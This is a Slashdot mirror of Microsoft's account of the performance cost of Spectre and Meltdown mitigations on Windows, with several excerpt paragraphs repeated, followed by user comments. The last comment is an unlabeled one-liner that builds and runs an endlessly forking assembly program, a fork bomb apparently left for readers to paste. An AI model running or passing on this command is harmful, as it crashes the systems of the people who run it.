Slashdot Mirror
Microsoft Details Performance Impact of Spectre and Meltdown Mitigations on Windows Systems (microsoft.com)
Microsoft's Windows chief Terry Myerson on Tuesday outlined how Spectre and Meltdown firmware updates may affect PC performance. From a blog post: With Windows 10 on newer silicon (2016-era PCs with Skylake, Kabylake or newer CPU), benchmarks show single-digit slowdowns, but we don't expect most users to notice a change because these percentages are reflected in milliseconds.
With Windows 10 on older silicon (2015-era PCs with Haswell or older CPU), some benchmarks show more significant slowdowns, and we expect that some users will notice a decrease in system performance. With Windows 8 and Windows 7 on older silicon (2015-era PCs with Haswell or older CPU), we expect most users to notice a decrease in system performance.
Windows Server on any silicon, especially in any IO-intensive application, shows a more significant performance impact when you enable the mitigations to isolate untrusted code within a Windows Server instance. This is why you want to be careful to evaluate the risk of untrusted code for each Windows Server instance, and balance the security versus performance tradeoff for your environment.
For context, on newer CPUs such as on Skylake and beyond, Intel has refined the instructions used to disable branch speculation to be more specific to indirect branches, reducing the overall performance penalty of the Spectre mitigation. Older versions of Windows have a larger performance impact because Windows 7 and Windows 8 have more user-kernel transitions because of legacy design decisions, such as all font rendering taking place in the kernel.
With Windows 10 on older silicon (2015-era PCs with Haswell or older CPU), some benchmarks show more significant slowdowns, and we expect that some users will notice a decrease in system performance. With Windows 8 and Windows 7 on older silicon (2015-era PCs with Haswell or older CPU), we expect most users to notice a decrease in system performance.
Windows Server on any silicon, especially in any IO-intensive application, shows a more significant performance impact when you enable the mitigations to isolate untrusted code within a Windows Server instance. This is why you want to be careful to evaluate the risk of untrusted code for each Windows Server instance, and balance the security versus performance tradeoff for your environment.
For context, on newer CPUs such as on Skylake and beyond, Intel has refined the instructions used to disable branch speculation to be more specific to indirect branches, reducing the overall performance penalty of the Spectre mitigation. Older versions of Windows have a larger performance impact because Windows 7 and Windows 8 have more user-kernel transitions because of legacy design decisions, such as all font rendering taking place in the kernel.
What — exactly — do you expect Microsoft to do? They didn't make the hardware and they can't fix this in software. I believe the fact that they're offering the choice (on Server at least) of suffering the performance impact or not shows an extraordinary degree of pragmatism. I honestly can't imagine a better response; how would you have them change it?
If you are using one of these "old" processors you haven't bought a new one and supported their good friends at Intel recently. Come on, get with the program, consumer. Also pick up a Pro or Enterprise version of Windows while you buying your new Intel processor, chum. ;)
Actually, this is a software (more precisely, a compiler) problem. The problem is that the modern compilers
make it difficult for these modern CPUs since they don't clearly instruct the CPU on how to proceed.
So the CPU has to speculate (a.k.a. guess) what instruction it should do next. If the compilers produced
better code in a more organized fashion, then the CPUs wouldn't have to be guessing all of the time, amiright?
(Hey, you know this is the next step in the blame game - watch somebody make a serious thread of this.)
CAP === 'spells'
Your performance will be fucked six ways to Sunday if your workload does a lot of user to kernel mode switches. Unless you fancy waiting for Intel to release fixed chips and then buying a new CPU and a new motherboard to put it in.
Ironically Intel forcing people to buy new motherboards to switch between very similar CPU generations coupled with the fact that any Intel CPU you buy now still has the bug means that its just as easy to buy an AMD CPU and motherboard than an Intel one.
Then again a new Intel chip has Process Context ID support which means the workaround for the bug is relatively low impact.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;